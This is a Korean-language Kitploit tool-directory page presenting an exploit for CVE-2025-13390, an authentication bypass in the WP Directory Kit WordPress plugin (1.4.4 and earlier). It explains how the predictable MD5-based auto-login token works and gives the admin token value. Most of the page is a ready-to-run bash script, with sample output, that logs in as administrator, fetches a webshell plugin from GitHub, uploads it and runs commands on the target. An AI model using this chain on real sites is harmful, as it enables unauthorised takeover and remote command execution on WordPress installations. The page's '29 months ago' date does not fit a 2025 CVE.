Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2025-13390 — WP Directory Kit <= 1.4.4 - 인증 우회로 계정 탈취 및 권한 상승 가능 | Kitploit
도구/GitHubGitHub/d0n601/cve-2025-13390
Payload GenerationVulnerability AnalysisExploitationShellcodeWeb Application ExploitationPenetration TestingAuthentication
GitHubd0n601/cve-2025-13390

CVE-2025-13390

WP Directory Kit <= 1.4.4 - 인증 우회로 계정 탈취 및 권한 상승 가능

저장소 보기
29개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

WP Directory Kit <= 1.4.4 - 인증 우회로 권한 상승 (계정 탈취를 통한)

요약

WordPress 버전 1.4.4 이하의 WP Directory Kit 플러그인은 자동 로그인 기능에 인증 우회 취약점이 있습니다. 이 취약점을 통해 인증되지 않은 공격자는 암호학적으로 취약한 토큰 생성 메커니즘을 악용하여 WordPress 사이트에 대한 관리자 액세스 권한을 얻을 수 있습니다. 자동 로그인 기능은 비활성화할 수 없으며 사용자 ID의 MD5 해시만으로 파생되는 예측 가능한 토큰을 사용합니다.

TL;DR 익스플로잇

CVE-2025-13390.sh 파일은 대상 사이트에 웹 셸 플러그인을 업로드하며, 사용자 ID 1이 관리자라고 가정합니다.

root@kitploit:~
./CVE-2025-13390.sh     
[*] Step 1: Auto-login and save cookies...
[+] Auto-login successful
[*] Step 2: Getting nonce from plugin-install.php...
[+] Install Nonce: a2c0ae384b
[*] Step 3: Downloading plugin from GitHub...
[*] Step 4: Extracting and repackaging plugin (WordPress needs plugin dir at ZIP root)...
[+] Plugin repackaged
[*] Step 5: Uploading plugin...
[+] Plugin installed successfully
[*] Step 6: Testing webshell...
[*] Making request to: http://techcorp.cc/wp-content/plugins/wp_webshell/wp_webshell.php?cmd=id
[+] Webshell is accessible!
[+] Response:
uid=33(www-data) gid=33(www-data) groups=33(www-data)
[*] Cleanup complete

취약점 세부 사항

설명

WP Directory Kit 플러그인은 사용자가 자격 증명을 입력하지 않고 user_id 및 token 매개변수가 포함된 URL을 방문하여 인증할 수 있는 자동 로그인 기능을 구현합니다. 이 기능은 새 사용자가 자동으로 생성되어 이메일로 로그인 링크를 받는 경우와 같은 비밀번호 없는 로그인 시나리오를 위해 설계되었습니다.

취약점은 다음 두 파일에 있는 토큰 생성 및 검증 로직에 존재합니다.

  1. 토큰 생성 (application/helpers/Basic.php:5132-5137):
root@kitploit:~
function wdk_generate_auto_login_link( $user_id = null ) {
    $token = substr(md5($user_id).NONCE_KEY.'wpdirectorykit',0,10);
    
    $login_url = site_url( "/?auto-login=1&user_id={$user_id}&token={$token}" );
    return $login_url;
}
  1. 토큰 검증 (actions.php:116-130):
root@kitploit:~
add_action( 'init', function () {
    if (substr_count($_SERVER['REQUEST_URI'], 'auto-login') && isset( $_GET['user_id'], $_GET['token'] ) ) {
        $user_id = (int) $_GET['user_id'];
        $token = sanitize_text_field( $_GET['token'] );
        
        if ( $token == substr(md5($user_id).NONCE_KEY.'wpdirectorykit',0,10)) {
            
            wp_set_auth_cookie( $user_id );
            wp_redirect( home_url() );
            exit;
        } else {
            wp_die( 'Wrong token.' );
        }
    }
});

암호학적 결함

토큰 생성에는 심각한 암호학적 결함이 있습니다. 코드는 다음과 같이 토큰을 생성하려고 시도합니다.

  1. md5($user_id) 계산 - 32자 16진수 문자열 생성
  2. NONCE_KEY (WordPress 상수, 일반적으로 64자) 연결
  3. 문자열 'wpdirectorykit' 연결
  4. substr(..., 0, 10)으로 처음 10자만 취함

md5($user_id)는 32자 길이이며 함수는 처음 10자만 취하기 때문에 토큰은 단순히 md5 해시의 처음 10자가 됩니다.

root@kitploit:~
substr(md5($user_id), 0, 10)

예를 들어 user_id = 1인 경우:

  • md5(1) = "c4ca4238a0b923820dcc509a6f75849b" (32자 16진수)
  • substr(md5(1).NONCE_KEY.'wpdirectorykit', 0, 10) = "c4ca4238a0" (MD5의 처음 10자만 해당)

암호화 보안을 제공하기 위한 NONCE_KEY 상수는 MD5 해시의 처음 10자 뒤에 나타나기 때문에 완전히 관련이 없습니다.

참고: WordPress 설치에서 처음 생성된 사용자(user_id = 1)는 거의 항상 관리자입니다. 필요한 경우 다른 관리 사용자 ID를 열거하여 대신 사용할 수 있습니다.

자동 로그인 기능을 비활성화할 수 없음

자동 로그인 기능은 플러그인의 actions.php 파일에 하드코딩되어 있으며 플러그인이 활성화되어 있으면 항상 활성화됩니다. 이 기능을 비활성화하는 구성 옵션이나 설정은 없습니다. 자동 로그인 링크는 이메일 템플릿에서 생성되어 전송되지만(application/views/email/new_user_auto_created.php:55 참조), 엔드포인트 자체는 이메일 설정과 관계없이 항상 접근 가능합니다.

영향

공격자가 유효한 토큰(예: /?auto-login=1&user_id=1&token=c4ca4238a0)과 함께 자동 로그인 엔드포인트로 요청을 보내면, actions.php:123의 취약한 코드가 WordPress의 wp_set_auth_cookie() 함수를 호출합니다. 이 함수는 HTTP 응답에 WordPress 인증 쿠키를 설정하여 인증된 세션을 설정합니다. 이러한 쿠키에는 다음이 포함됩니다.

  • wordpress_logged_in_[hash] - 사용자 ID 및 인증 정보 포함
  • wordpress_[hash] - 관리자 영역에 대한 인증 쿠키 포함

이러한 쿠키가 설정되면 공격자의 브라우저(또는 스크립트)는 지정된 사용자에 대한 인증된 세션으로 처리됩니다.

이러한 관리자 쿠키를 통해 공격자는 악성 플러그인을 설치하고, 관리자 사용자를 생성하며, 전체 사이트를 장악할 수 있습니다.

개념 증명

다음 스크립트는 자동 로그인 취약점을 악용하여 관리자 액세스 권한을 얻고 웹 셸을 설치하는 완전한 공격 체인을 보여줍니다.

root@kitploit:~
#!/bin/bash

TARGET="https://examplesite.com"

echo "[*] Step 1: Auto-login and save cookies..."
curl -s -L -c /tmp/wdk_cookies.txt "$TARGET/?auto-login=1&user_id=1&token=c4ca4238a0" > /dev/null
echo "[+] Auto-login successful"

echo "[*] Step 2: Getting nonce from plugin-install.php..."
INSTALL_NONCE=$(curl -s -b /tmp/wdk_cookies.txt "$TARGET/wp-admin/plugin-install.php" | grep -oP 'name="_wpnonce" value="\K[^"]+' | head -1)
echo "[+] Install Nonce: $INSTALL_NONCE"

echo "[*] Step 3: Downloading plugin from GitHub..."
curl -s -L "https://github.com/XK3NF4/webshell-plugin-wordpress/archive/refs/heads/main.zip" -o /tmp/webshell_github.zip

echo "[*] Step 4: Extracting and repackaging plugin (WordPress needs plugin dir at ZIP root)..."
cd /tmp
unzip -q -o webshell_github.zip
# The GitHub ZIP has: webshell-plugin-wordpress-main/wp_webshell/
# WordPress needs: wp_webshell/ at the root
cd webshell-plugin-wordpress-main
zip -q -r /tmp/webshell.zip wp_webshell/
cd /tmp
rm -rf webshell-plugin-wordpress-main webshell_github.zip
echo "[+] Plugin repackaged"

echo "[*] Step 5: Uploading plugin..."
UPLOAD_RESPONSE=$(curl -s -L -b /tmp/wdk_cookies.txt -c /tmp/wdk_cookies.txt \
  -F "_wpnonce=$INSTALL_NONCE" \
  -F "pluginzip=@/tmp/webshell.zip" \
  -F "install-plugin-submit=Install Now" \
  "$TARGET/wp-admin/update.php?action=upload-plugin")

if echo "$UPLOAD_RESPONSE" | grep -qi "installed successfully\|Plugin installed"; then
    echo "[+] Plugin installed successfully"
else
    echo "[-] Installation may have failed. Checking response..."
    echo "$UPLOAD_RESPONSE" | grep -i "error\|fail" | head -5
fi

echo "[*] Step 6: Testing webshell..."
WEBSHELL_URL="$TARGET/wp-content/plugins/wp_webshell/wp_webshell.php?cmd=id"
echo "[*] Making request to: $WEBSHELL_URL"
WEBSHELL_RESPONSE=$(curl -s "$WEBSHELL_URL")

if [ -n "$WEBSHELL_RESPONSE" ]; then
    echo "[+] Webshell is accessible!"
    echo "[+] Response:"
    echo "$WEBSHELL_RESPONSE"
else
    echo "[-] Webshell may not be accessible or returned empty response"
fi

# Cleanup
rm -f /tmp/webshell.zip
echo "[*] Cleanup complete"

도구 다운로드